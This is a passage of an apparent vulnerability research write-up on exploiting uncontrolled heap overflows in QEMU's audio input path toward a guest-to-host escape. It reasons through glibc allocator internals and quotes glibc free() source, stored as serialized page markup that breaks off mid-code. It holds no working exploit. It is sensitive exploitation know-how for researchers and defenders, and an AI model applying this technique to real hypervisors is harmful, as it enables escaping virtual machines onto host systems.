- these bugs had been present in QEMU for over two years, but they were fixed (",{"type":25,"tag":71,"props":127364,"children":127367},{"href":127365,"rel":127366},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[75],[127368],{"type":31,"value":127369},"commit 1",{"type":31,"value":919},{"type":25,"tag":71,"props":127372,"children":127375},{"href":127373,"rel":127374},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[75],[127376],{"type":31,"value":127377},"commit 2",{"type":31,"value":127379},") in the very same week that we independently found them while manually reviewing the code.",{"type":25,"tag":26,"props":127381,"children":127382},{"id":101192},[127383],{"type":31,"value":101195},{"type":25,"tag":34,"props":127385,"children":127386},{},[127387],{"type":31,"value":127388},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":25,"tag":34,"props":127390,"children":127391},{},[127392],{"type":31,"value":127393},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":25,"tag":40,"props":127395,"children":127397},{"id":127396},"achieving-a-better-primitive",[127398],{"type":31,"value":127399},"Achieving a Better Primitive",{"type":25,"tag":34,"props":127401,"children":127402},{},[127403],{"type":31,"value":127404},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":25,"tag":34,"props":127406,"children":127407},{},[127408],{"type":31,"value":127409},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":25,"tag":34,"props":127411,"children":127412},{},[127413],{"type":31,"value":127414},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":25,"tag":20392,"props":127416,"children":127418},{"id":127417},"glibc-allocator",[127419],{"type":31,"value":127420},"Glibc Allocator",{"type":25,"tag":34,"props":127422,"children":127423},{},[127424,127426,127433],{"type":31,"value":127425},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":25,"tag":71,"props":127427,"children":127430},{"href":127428,"rel":127429},"https://github.com/shellphish/how2heap",[75],[127431],{"type":31,"value":127432},"how2heap",{"type":31,"value":80},{"type":25,"tag":38416,"props":127435,"children":127437},{"id":127436},"chunk-layout-and-bins",[127438],{"type":31,"value":127439},"Chunk Layout and Bins",{"type":25,"tag":34,"props":127441,"children":127442},{},[127443],{"type":31,"value":127444},"A chunk looks like this:",{"type":25,"tag":191,"props":127446,"children":127448},{"code":127447},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[127449],{"type":25,"tag":115,"props":127450,"children":127451},{"__ignoreMap":7},[127452],{"type":31,"value":127447},{"type":25,"tag":34,"props":127454,"children":127455},{},[127456,127458,127464,127466,127472,127473,127478,127479,127485,127487,127492,127494,127499,127501,127507,127508,127514,127516,127522],{"type":31,"value":127457},"The first 16 bytes form the chunk header. It consists of the ",{"type":25,"tag":115,"props":127459,"children":127461},{"className":127460},[],[127462],{"type":31,"value":127463},"prev_size",{"type":31,"value":127465}," field at offset ",{"type":25,"tag":115,"props":127467,"children":127469},{"className":127468},[],[127470],{"type":31,"value":127471},"0x0",{"type":31,"value":38620},{"type":25,"tag":115,"props":127474,"children":127476},{"className":127475},[],[127477],{"type":31,"value":125344},{"type":31,"value":127465},{"type":25,"tag":115,"props":127480,"children":127482},{"className":127481},[],[127483],{"type":31,"value":127484},"0x8",{"type":31,"value":127486},". As the name suggests, ",{"type":25,"tag":115,"props":127488,"children":127490},{"className":127489},[],[127491],{"type":31,"value":127463},{"type":31,"value":127493}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":25,"tag":115,"props":127495,"children":127497},{"className":127496},[],[127498],{"type":31,"value":125344},{"type":31,"value":127500}," stores the size of the current chunk and three special bits of which ",{"type":25,"tag":115,"props":127502,"children":127504},{"className":127503},[],[127505],{"type":31,"value":127506},"PREV_INUSE",{"type":31,"value":12493},{"type":25,"tag":115,"props":127509,"children":127511},{"className":127510},[],[127512],{"type":31,"value":127513},"IS_MMAPPED",{"type":31,"value":127515}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":25,"tag":115,"props":127517,"children":127519},{"className":127518},[],[127520],{"type":31,"value":127521},"0x10",{"type":31,"value":80},{"type":25,"tag":34,"props":127524,"children":127525},{},[127526],{"type":31,"value":127527},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":25,"tag":38416,"props":127529,"children":127531},{"id":127530},"free-path",[127532],{"type":31,"value":127533},"free() path",{"type":25,"tag":34,"props":127535,"children":127536},{},[127537,127539,127545],{"type":31,"value":127538},"Let’s first look at the ",{"type":25,"tag":115,"props":127540,"children":127542},{"className":127541},[],[127543],{"type":31,"value":127544},"free()",{"type":31,"value":127546}," path in glibc 2.40:",{"type":25,"tag":191,"props":127548,"children":127550},{"code":127549,"language":4652,"meta":7,"className":18010,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[127551],{"type":25,"tag":115,"props":127552,"children":127553},{"__ignoreMap":7},[127554,127582,127589,127597,127605,127612,127634,127655,127662,127675,127682,127690,127697,127710,127717,127738,127759,127766],{"type":25,"tag":201,"props":127555,"children":127556},{"class":203,"line":204},[127557,127562,127566,127570,127574,127578],{"type":25,"tag":201,"props":127558,"children":127559},{"style":214},[127560],{"type":31,"value":127561},"__libc_free",{"type":25,"tag":201,"props":127563,"children":127564},{"style":220},[127565],{"type":31,"value":238},{"type":25,"tag":201,"props":127567,"children":127568},{"style":208},[127569],{"type":31,"value":52705},{"type":25,"tag":201,"props":127571,"children":127572},{"style":261},[127573],{"type":31,"value":11319},{"type":25,"tag":201,"props":127575,"children":127576},{"style":246},[127577],{"type":31,"value":41735},{"type":25,"tag":201,"props":127579,"children":127580},{"style":220},[127581],{"type":31,"value":4666},{"type":25,"tag":201,"props":127583,"children":127584},{"class":203,"line":226},[127585],{"type":25,"tag":201,"props":127586,"children":127587},{"style":220},[127588],{"type":31,"value":1822},{"type":25,"tag":201,"props":127590,"children":127591},{"class":203,"line":278},[127592],{"type":25,"tag":201,"props":127593,"children":127594},{"style":220},[127595],{"type":31,"value":127596},"  mstate ar_ptr;\n",{"type":25,"tag":201,"props":127598,"children":127599},{"class":203,"line":311},[127600],{"type":25,"tag":201,"props":127601,"children":127602},{"style":220},[127603],{"type":31,"value":127604},"  mchunkptr p;\n",{"type":25,"tag":201,"props":127606,"children":127607},{"class":203,"line":330},[127608],{"type":25,"tag":201,"props":127609,"children":127610},{"emptyLinePlaceholder":17},[127611],{"type":31,"value":496},{"type":25,"tag":201,"props":127613,"children":127614},{"class":203,"line":397},[127615,127620,127624,127629],{"type":25,"tag":201,"props":127616,"children":127617},{"style":220},[127618],{"type":31,"value":127619},"  p ",{"type":25,"tag":201,"props":127621,"children":127622},{"style":261},[127623],{"type":31,"value":1383},{"type":25,"tag":201,"props":127625,"children":127626},{"style":214},[127627],{"type":31,"value":127628}," mem2chunk",{"type":25,"tag":201,"props":127630,"children":127631},{"style":220},[127632],{"type":31,"value":127633}," (mem);\n",{"type":25,"tag":201,"props":127635,"children":127636},{"class":203,"line":437},[127637,127641,127645,127650],{"type":25,"tag":201,"props":127638,"children":127639},{"style":230},[127640],{"type":31,"value":233},{"type":25,"tag":201,"props":127642,"children":127643},{"style":220},[127644],{"type":31,"value":238},{"type":25,"tag":201,"props":127646,"children":127647},{"style":214},[127648],{"type":31,"value":127649},"chunk_is_mmapped",{"type":25,"tag":201,"props":127651,"children":127652},{"style":220},[127653],{"type":31,"value":127654}," (p))\n",{"type":25,"tag":201,"props":127656,"children":127657},{"class":203,"line":464},[127658],{"type":25,"tag":201,"props":127659,"children":127660},{"style":220},[127661],{"type":31,"value":30670},{"type":25,"tag":201,"props":127663,"children":127664},{"class":203,"line":490},[127665,127670],{"type":25,"tag":201,"props":127666,"children":127667},{"style":214},[127668],{"type":31,"value":127669},"      munmap_chunk",{"type":25,"tag":201,"props":127671,"children":127672},{"style":220},[127673],{"type":31,"value":127674}," (p);\n",{"type":25,"tag":201,"props":127676,"children":127677},{"class":203,"line":499},[127678],{"type":25,"tag":201,"props":127679,"children":127680},{"style":220},[127681],{"type":31,"value":4861},{"type":25,"tag":201,"props":127683,"children":127684},{"class":203,"line":522},[127685],{"type":25,"tag":201,"props":127686,"children":127687},{"style":230},[127688],{"type":31,"value":127689},"  else\n",{"type":25,"tag":201,"props":127691,"children":127692},{"class":203,"line":531},[127693],{"type":25,"tag":201,"props":127694,"children":127695},{"style":220},[127696],{"type":31,"value":30670},{"type":25,"tag":201,"props":127698,"children":127699},{"class":203,"line":550},[127700,127705],{"type":25,"tag":201,"props":127701,"children":127702},{"style":214},[127703],{"type":31,"value":127704},"      MAYBE_INIT_TCACHE",{"type":25,"tag":201,"props":127706,"children":127707},{"style":220},[127708],{"type":31,"value":127709}," ();\n",{"type":25,"tag":201,"props":127711,"children":127712},{"class":203,"line":563},[127713],{"type":25,"tag":201,"props":127714,"children":127715},{"emptyLinePlaceholder":17},[127716],{"type":31,"value":496},{"type":25,"tag":201,"props":127718,"children":127719},{"class":203,"line":572},[127720,127725,127729,127734],{"type":25,"tag":201,"props":127721,"children":127722},{"style":220},[127723],{"type":31,"value":127724},"      ar_ptr ",{"type":25,"tag":201,"props":127726,"children":127727},{"style":261},[127728],{"type":31,"value":1383},{"type":25,"tag":201,"props":127730,"children":127731},{"style":214},[127732],{"type":31,"value":127733}," arena_for_chunk",{"type":25,"tag":201,"props":127735,"children":127736},{"style":220},[127737],{"type":31,"value":127674},{"type":25,"tag":201,"props":127739,"children":127740},{"class":203,"line":590},[127741,127746,127751,127755],{"type":25,"tag":201,"props":127742,"children":127743},{"style":214},[127744],{"type":31,"value":127745},"      _int_free",{"type":25,"tag":201,"props":127747,"children":127748},{"style":220},[127749],{"type":31,"value":127750}," (ar_ptr, p, ",{"type":25,"tag":201,"props":127752,"children":127753},{"style":426},[127754],{"type":31,"value":429},{"type":25,"tag":201,"props":127756,"children":127757},{"style":220},[127758],{"type":31,"value":308},{"type":25,"tag":201,"props":127760,"children":127761},{"class":203,"line":608},[127762],{"type":25,"tag":201,"props":127763,"children":127764},{"style":220},[127765],{"type":31,"value":4861},{"type":25,"tag":201,"props":127767,"children":127768},{"class":203,"line":617},[127769],{"type":25,"tag":201,"props":127770,"children":127771},{"style":220},[127772],{"type":31,"value":1187},{"type":25,"tag":34,"props":127774,"children":127775},{},[127776,127778,127783,127785,127790,127792,127798,127800,127806,127808,127813,127815,127820,127822,127827,127829,127834],{"type":31,"value":127777},"We can see that if the ",{"type":25,"tag":115,"props":127779,"children":127781},{"className":127780},[],[127782],{"type":31,"value":127513},{"type":31,"value":127784}," bit is set in the corrupted ",{"type":25,"tag":115,"props":127786,"children":127788},{"className":127787},[],[127789],{"type":31,"value":125344},{"type":31,"value":127791}," field, glibc will call ",{"type":25,"tag":115,"props":127793,"children":127795},{"className":127794},[],[127796],{"type":31,"value":127797},"munmap_chunk",{"type":31,"value":127799},", which internally checks that ",{"type":25,"tag":115,"props":127801,"children":127803},{"className":127802},[],[127804],{"type":31,"value":127805},"prev_size + size",{"type":31,"value":127807}," is page-aligned. To reach the ",{"type":25,"tag":115,"props":127809,"children":127811},{"className":127810},[],[127812],{"type":31,"value":125344},{"type":31,"value":127814}," field, we first have to overwrite the entire 8-byte ",{"type":25,"tag":115,"props":127816,"children":127818},{"className":127817},[],[127819],{"type":31,"value":127463},{"type":31,"value":127821}," field with uncontrolled data. The chance that a corrupted ",{"type":25,"tag":115,"props":127823,"children":127825},{"className":127824},[],[127826],{"type":31,"value":127805},{"type":31,"value":127828}," value still ends up page-aligned is extremely small. In practice, if ",{"type":25,"tag":115,"props":127830,"children":127832},{"className":127831},[],[127833],{"type":31,"value":127513},{"type":31,"value":127835}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":25,"tag":34,"props":127837,"children":127838},{},[127839,127841,127846,127848,127854],{"type":31,"value":127840},"Assuming ",{"type":25,"tag":115,"props":127842,"children":127844},{"className":127843},[],[127845],{"type":31,"value":127513},{"type":31,"value":127847}," is not set, execution continues into ",{"type":25,"tag":115,"props":127849,"children":127851},{"className":127850},[],[127852],{"type":31,"value":127853},"_int_free",{"type":31,"value":5997},{"type":25,"tag":191,"props":127856,"children":127858},{"code":127857,"language":4652,"meta":7,"className":18010,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[127859],{"type":25,"tag":115,"props":127860,"children":127861},{"__ignoreMap":7},[127862,127874,127917,127924,127932,127939,127960,127967,127975,127983,127991,127999,128063,128098,128119,128127,128135,128183,128203,128210,128223,128230],{"type":25,"tag":201,"props":127863,"children":127864},{"class":203,"line":204},[127865,127869],{"type":25,"tag":201,"props":127866,"children":127867},{"style":208},[127868],{"type":31,"value":52122},{"type":25,"tag":201,"props":127870,"children":127871},{"style":208},[127872],{"type":31,"value":127873}," void\n",{"type":25,"tag":201,"props":127875,"children":127876},{"class":203,"line":226},[127877,127881,127886,127891,127896,127900,127904,127908,127913],{"type":25,"tag":201,"props":127878,"children":127879},{"style":214},[127880],{"type":31,"value":127853},{"type":25,"tag":201,"props":127882,"children":127883},{"style":220},[127884],{"type":31,"value":127885}," (mstate ",{"type":25,"tag":201,"props":127887,"children":127888},{"style":246},[127889],{"type":31,"value":127890},"av",{"type":25,"tag":201,"props":127892,"children":127893},{"style":220},[127894],{"type":31,"value":127895},", mchunkptr ",{"type":25,"tag":201,"props":127897,"children":127898},{"style":246},[127899],{"type":31,"value":34},{"type":25,"tag":201,"props":127901,"children":127902},{"style":220},[127903],{"type":31,"value":919},{"type":25,"tag":201,"props":127905,"children":127906},{"style":208},[127907],{"type":31,"value":20546},{"type":25,"tag":201,"props":127909,"children":127910},{"style":246},[127911],{"type":31,"value":127912}," have_lock",{"type":25,"tag":201,"props":127914,"children":127915},{"style":220},[127916],{"type":31,"value":4666},{"type":25,"tag":201,"props":127918,"children":127919},{"class":203,"line":278},[127920],{"type":25,"tag":201,"props":127921,"children":127922},{"style":220},[127923],{"type":31,"value":1822},{"type":25,"tag":201,"props":127925,"children":127926},{"class":203,"line":311},[127927],{"type":25,"tag":201,"props":127928,"children":127929},{"style":220},[127930],{"type":31,"value":127931},"  INTERNAL_SIZE_T size;\n",{"type":25,"tag":201,"props":127933,"children":127934},{"class":203,"line":330},[127935],{"type":25,"tag":201,"props":127936,"children":127937},{"emptyLinePlaceholder":17},[127938],{"type":31,"value":496},{"type":25,"tag":201,"props":127940,"children":127941},{"class":203,"line":397},[127942,127947,127951,127956],{"type":25,"tag":201,"props":127943,"children":127944},{"style":220},[127945],{"type":31,"value":127946},"  size ",{"type":25,"tag":201,"props":127948,"children":127949},{"style":261},[127950],{"type":31,"value":1383},{"type":25,"tag":201,"props":127952,"children":127953},{"style":214},[127954],{"type":31,"value":127955}," chunksize",{"type":25,"tag":201,"props":127957,"children":127958},{"style":220},[127959],{"type":31,"value":127674},{"type":25,"tag":201,"props":127961,"children":127962},{"class":203,"line":437},[127963],{"type":25,"tag":201,"props":127964,"children":127965},{"emptyLinePlaceholder":17},[127966],{"type":31,"value":496},{"type":25,"tag":201,"props":127968,"children":127969},{"class":203,"line":464},[127970],{"type":25,"tag":201,"props":127971,"children":127972},{"style":4497},[127973],{"type":31,"value":127974},"  /* Little security check which won't hurt performance: the\n",{"type":25,"tag":201,"props":127976,"children":127977},{"class":203,"line":490},[127978],{"type":25,"tag":201,"props":127979,"children":127980},{"style":4497},[127981],{"type":31,"value":127982},"     allocator never wraps around at the end of the address space.\n",{"type":25,"tag":201,"props":127984,"children":127985},{"class":203,"line":499},[127986],{"type":25,"tag":201,"props":127987,"children":127988},{"style":4497},[127989],{"type":31,"value":127990},"     Therefore we can exclude some size values which might appear\n",{"type":25,"tag":201,"props":127992,"children":127993},{"class":203,"line":522},[127994],{"type":25,"tag":201,"props":127995,"children":127996},{"style":4497},[127997],{"type":31,"value":127998},"     here by accident or by \"design\" from some intruder.  */\n",{"type":25,"tag":201,"props":128000,"children":128001},{"class":203,"line":531},[128002,128006,128010,128015,128020,128025,128030,128034,128038,128042,128046,128050,128055,128059],{"type":25,"tag":201,"props":128003,"children":128004},{"style":230},[128005],{"type":31,"value":233},{"type":25,"tag":201,"props":128007,"children":128008},{"style":220},[128009],{"type":31,"value":238},{"type":25,"tag":201,"props":128011,"children":128012},{"style":214},[128013],{"type":31,"value":128014},"__builtin_expect",{"type":25,"tag":201,"props":128016,"children":128017},{"style":220},[128018],{"type":31,"value":128019}," ((",{"type":25,"tag":201,"props":128021,"children":128022},{"style":208},[128023],{"type":31,"value":128024},"uintptr_t",{"type":25,"tag":201,"props":128026,"children":128027},{"style":220},[128028],{"type":31,"value":128029},") p ",{"type":25,"tag":201,"props":128031,"children":128032},{"style":261},[128033],{"type":31,"value":1342},{"type":25,"tag":201,"props":128035,"children":128036},{"style":220},[128037],{"type":31,"value":238},{"type":25,"tag":201,"props":128039,"children":128040},{"style":208},[128041],{"type":31,"value":128024},{"type":25,"tag":201,"props":128043,"children":128044},{"style":220},[128045],{"type":31,"value":385},{"type":25,"tag":201,"props":128047,"children":128048},{"style":261},[128049],{"type":31,"value":5832},{"type":25,"tag":201,"props":128051,"children":128052},{"style":220},[128053],{"type":31,"value":128054},"size, ",{"type":25,"tag":201,"props":128056,"children":128057},{"style":426},[128058],{"type":31,"value":429},{"type":25,"tag":201,"props":128060,"children":128061},{"style":220},[128062],{"type":31,"value":4666},{"type":25,"tag":201,"props":128064,"children":128065},{"class":203,"line":550},[128066,128071,128076,128080,128085,128090,128094],{"type":25,"tag":201,"props":128067,"children":128068},{"style":261},[128069],{"type":31,"value":128070},"      ||",{"type":25,"tag":201,"props":128072,"children":128073},{"style":214},[128074],{"type":31,"value":128075}," __builtin_expect",{"type":25,"tag":201,"props":128077,"children":128078},{"style":220},[128079],{"type":31,"value":238},{"type":25,"tag":201,"props":128081,"children":128082},{"style":214},[128083],{"type":31,"value":128084},"misaligned_chunk",{"type":25,"tag":201,"props":128086,"children":128087},{"style":220},[128088],{"type":31,"value":128089}," (p), ",{"type":25,"tag":201,"props":128091,"children":128092},{"style":426},[128093],{"type":31,"value":429},{"type":25,"tag":201,"props":128095,"children":128096},{"style":220},[128097],{"type":31,"value":1086},{"type":25,"tag":201,"props":128099,"children":128100},{"class":203,"line":563},[128101,128106,128110,128115],{"type":25,"tag":201,"props":128102,"children":128103},{"style":214},[128104],{"type":31,"value":128105},"    malloc_printerr",{"type":25,"tag":201,"props":128107,"children":128108},{"style":220},[128109],{"type":31,"value":238},{"type":25,"tag":201,"props":128111,"children":128112},{"style":267},[128113],{"type":31,"value":128114},"\"free(): invalid pointer\"",{"type":25,"tag":201,"props":128116,"children":128117},{"style":220},[128118],{"type":31,"value":308},{"type":25,"tag":201,"props":128120,"children":128121},{"class":203,"line":572},[128122],{"type":25,"tag":201,"props":128123,"children":128124},{"style":4497},[128125],{"type":31,"value":128126},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":25,"tag":201,"props":128128,"children":128129},{"class":203,"line":590},[128130],{"type":25,"tag":201,"props":128131,"children":128132},{"style":4497},[128133],{"type":31,"value":128134},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":25,"tag":201,"props":128136,"children":128137},{"class":203,"line":608},[128138,128142,128146,128151,128156,128160,128165,128169,128173,128178],{"type":25,"tag":201,"props":128139,"children":128140},{"style":230},[128141],{"type":31,"value":233},{"type":25,"tag":201,"props":128143,"children":128144},{"style":220},[128145],{"type":31,"value":238},{"type":25,"tag":201,"props":128147,"children":128148},{"style":214},[128149],{"type":31,"value":128150},"__glibc_unlikely",{"type":25,"tag":201,"props":128152,"children":128153},{"style":220},[128154],{"type":31,"value":128155}," (size ",{"type":25,"tag":201,"props":128157,"children":128158},{"style":261},[128159],{"type":31,"value":1298},{"type":25,"tag":201,"props":128161,"children":128162},{"style":220},[128163],{"type":31,"value":128164}," MINSIZE ",{"type":25,"tag":201,"props":128166,"children":128167},{"style":261},[128168],{"type":31,"value":23914},{"type":25,"tag":201,"props":128170,"children":128171},{"style":261},[128172],{"type":31,"value":14366},{"type":25,"tag":201,"props":128174,"children":128175},{"style":214},[128176],{"type":31,"value":128177},"aligned_OK",{"type":25,"tag":201,"props":128179,"children":128180},{"style":220},[128181],{"type":31,"value":128182}," (size)))\n",{"type":25,"tag":201,"props":128184,"children":128185},{"class":203,"line":617},[128186,128190,128194,128199],{"type":25,"tag":201,"props":128187,"children":128188},{"style":214},[128189],{"type":31,"value":128105},{"type":25,"tag":201,"props":128191,"children":128192},{"style":220},[128193],{"type":31,"value":238},{"type":25,"tag":201,"props":128195,"children":128196},{"style":267},[128197],{"type":31,"value":128198},"\"free(): invalid size\"",{"type":25,"tag":201,"props":128200,"children":128201},{"style":220},[128202],{"type":31,"value":308},{"type":25,"tag":201,"props":128204,"children":128205},{"class":203,"line":625},[128206],{"type":25,"tag":201,"props":128207,"children":128208},{"emptyLinePlaceholder":17},[128209],{"type":31,"value":496},{"type":25,"tag":201,"props":128211,"children":128212},{"class":203,"line":642},[128213,128218],{"type":25,"tag":201,"props":128214,"children":128215},{"style":214},[128216],{"type":31,"value":128217},"  check_inuse_chunk",{"type":25,"tag":201,"props":128219,"children":128220},{"style":220},[128221],{"type":31,"value":128222},"(av, p);\n",{"type":25,"tag":201,"props":128224,"children":128225},{"class":203,"line":659},[128226],{"type":25,"tag":201,"props":128227,"children":128228},{"emptyLinePlaceholder":17},[128229],{"type":31,"value":496},{"type":25,"tag":201,"props":128231,"children":128232},{"class":203,"line":667},[128233],{"type":25,"tag":201,"props":128234,"children":128235},{"style":220},[128236],{"type":31,"value":128237},"  [...]\n",{"type":25,"tag":34,"props":128239,"children":128240},{},[128241],{"type":31,"value":128242},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":25,"tag":34,"props":128244,"children":128245},{},[128246,128248,128253,128255,128260,128262,128267,128269,128274],{"type":31,"value":128247},"The next check, however, ensures that the ",{"type":25,"tag":115,"props":128249,"children":128251},{"className":128250},[],[128252],{"type":31,"value":125344},{"type":31,"value":128254}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":25,"tag":115,"props":128256,"children":128258},{"className":128257},[],[128259],{"type":31,"value":125344},{"type":31,"value":128261}," must preserve alignment while also avoiding the ",{"type":25,"tag":115,"props":128263,"children":128265},{"className":128264},[],[128266],{"type":31,"value":127513},{"type":31,"value":128268}," bit. Under those constraints, exploiting the bug through ",{"type":25,"tag":115,"props":128270,"children":128272},{"className":128271},[],[128273],{"type":31,"value":125344},{"type":31,"value":128275}," corruption looked very unreliable at first.",{"type":25,"tag":34,"props":128277,"children":128278},{},[128279],{"type":31,"value":128280},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":25,"tag":191,"props":128282,"children":128284},{"code":128283,"language":4652,"meta":7,"className":18010,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[128285],{"type":25,"tag":115,"props":128286,"children":128287},{"__ignoreMap":7},[128288,128296,128323,128330,128337,128344,128363,128370,128390,128397,128425,128449,128456,128469,128511,128518,128526,128533,128550],{"type":25,"tag":201,"props":128289,"children":128290},{"class":203,"line":204},[128291],{"type":25,"tag":201,"props":128292,"children":128293},{"style":208},[128294],{"type":31,"value":128295},"void\n",{"type":25,"tag":201,"props":128297,"children":128298},{"class":203,"line":226},[128299,128303,128307,128311,128315,128319],{"type":25,"tag":201,"props":128300,"children":128301},{"style":214},[128302],{"type":31,"value":127561},{"type":25,"tag":201,"props":128304,"children":128305},{"style":220},[128306],{"type":31,"value":238},{"type":25,"tag":201,"props":128308,"children":128309},{"style":208},[128310],{"type":31,"value":52705},{"type":25,"tag":201,"props":128312,"children":128313},{"style":261},[128314],{"type":31,"value":11319},{"type":25,"tag":201,"props":128316,"children":128317},{"style":246},[128318],{"type":31,"value":41735},{"type":25,"tag":201,"props":128320,"children":128321},{"style":220},[128322],{"type":31,"value":4666},{"type":25,"tag":201,"props":128324,"children":128325},{"class":203,"line":278},[128326],{"type":25,"tag":201,"props":128327,"children":128328},{"style":220},[128329],{"type":31,"value":1822},{"type":25,"tag":201,"props":128331,"children":128332},{"class":203,"line":311},[128333],{"type":25,"tag":201,"props":128334,"children":128335},{"style":220},[128336],{"type":31,"value":127604},{"type":25,"tag":201,"props":128338,"children":128339},{"class":203,"line":330},[128340],{"type":25,"tag":201,"props":128341,"children":128342},{"emptyLinePlaceholder":17},[128343],{"type":31,"value":496},{"type":25,"tag":201,"props":128345,"children":128346},{"class":203,"line":397},[128347,128351,128355,128359],{"type":25,"tag":201,"props":128348,"children":128349},{"style":220},[128350],{"type":31,"value":127619},{"type":25,"tag":201,"props":128352,"children":128353},{"style":261},[128354],{"type":31,"value":1383},{"type":25,"tag":201,"props":128356,"children":128357},{"style":214},[128358],{"type":31,"value":127628},{"type":25,"tag":201,"props":128360,"children":128361},{"style":220},[128362],{"type":31,"value":127633},{"type":25,"tag":201,"props":128364,"children":128365},{"class":203,"line":437},[128366],{"type":25,"tag":201,"props":128367,"children":128368},{"emptyLinePlaceholder":17},[128369],{"type":31,"value":496},{"type":25,"tag":201,"props":128371,"children":128372},{"class":203,"line":464},[128373,128378,128382,128386],{"type":25,"tag":201,"props":128374,"children":128375},{"style":220},[128376],{"type":31,"value":128377},"  INTERNAL_SIZE_T size ",{"type":25,"tag":201,"props":128379,"children":128380},{"style":261},[128381],{"type":31,"value":1383},{"type":25,"tag":201,"props":128383,"children":128384},{"style":214},[128385],{"type":31,"value":127955},{"type":25,"tag":201,"props":128387,"children":128388},{"style":220},[128389],{"type":31,"value":127674},{"type":25,"tag":201,"props":128391,"children":128392},{"class":203,"line":490},[128393],{"type":25,"tag":201,"props":128394,"children":128395},{"emptyLinePlaceholder":17},[128396],{"type":31,"value":496},{"type":25,"tag":201,"props":128398,"children":128399},{"class":203,"line":499},[128400,128404,128408,128412,128416,128420],{"type":25,"tag":201,"props":128401,"children":128402},{"style":230},[128403],{"type":31,"value":233},{"type":25,"tag":201,"props":128405,"children":128406},{"style":220},[128407],{"type":31,"value":238},{"type":25,"tag":201,"props":128409,"children":128410},{"style":214},[128411],{"type":31,"value":128150},{"type":25,"tag":201,"props":128413,"children":128414},{"style":220},[128415],{"type":31,"value":238},{"type":25,"tag":201,"props":128417,"children":128418},{"style":214},[128419],{"type":31,"value":128084},{"type":25,"tag":201,"props":128421,"children":128422},{"style":220},[128423],{"type":31,"value":128424}," (p)))\n",{"type":25,"tag":201,"props":128426,"children":128427},{"class":203,"line":522},[128428,128432,128437,128441,128445],{"type":25,"tag":201,"props":128429,"children":128430},{"style":230},[128431],{"type":31,"value":18486},{"type":25,"tag":201,"props":128433,"children":128434},{"style":214},[128435],{"type":31,"value":128436}," malloc_printerr_tail",{"type":25,"tag":201,"props":128438,"children":128439},{"style":220},[128440],{"type":31,"value":238},{"type":25,"tag":201,"props":128442,"children":128443},{"style":267},[128444],{"type":31,"value":128114},{"type":25,"tag":201,"props":128446,"children":128447},{"style":220},[128448],{"type":31,"value":308},{"type":25,"tag":201,"props":128450,"children":128451},{"class":203,"line":531},[128452],{"type":25,"tag":201,"props":128453,"children":128454},{"emptyLinePlaceholder":17},[128455],{"type":31,"value":496},{"type":25,"tag":201,"props":128457,"children":128458},{"class":203,"line":550},[128459,128464],{"type":25,"tag":201,"props":128460,"children":128461},{"style":230},[128462],{"type":31,"value":128463},"#if",{"type":25,"tag":201,"props":128465,"children":128466},{"style":214},[128467],{"type":31,"value":128468}," 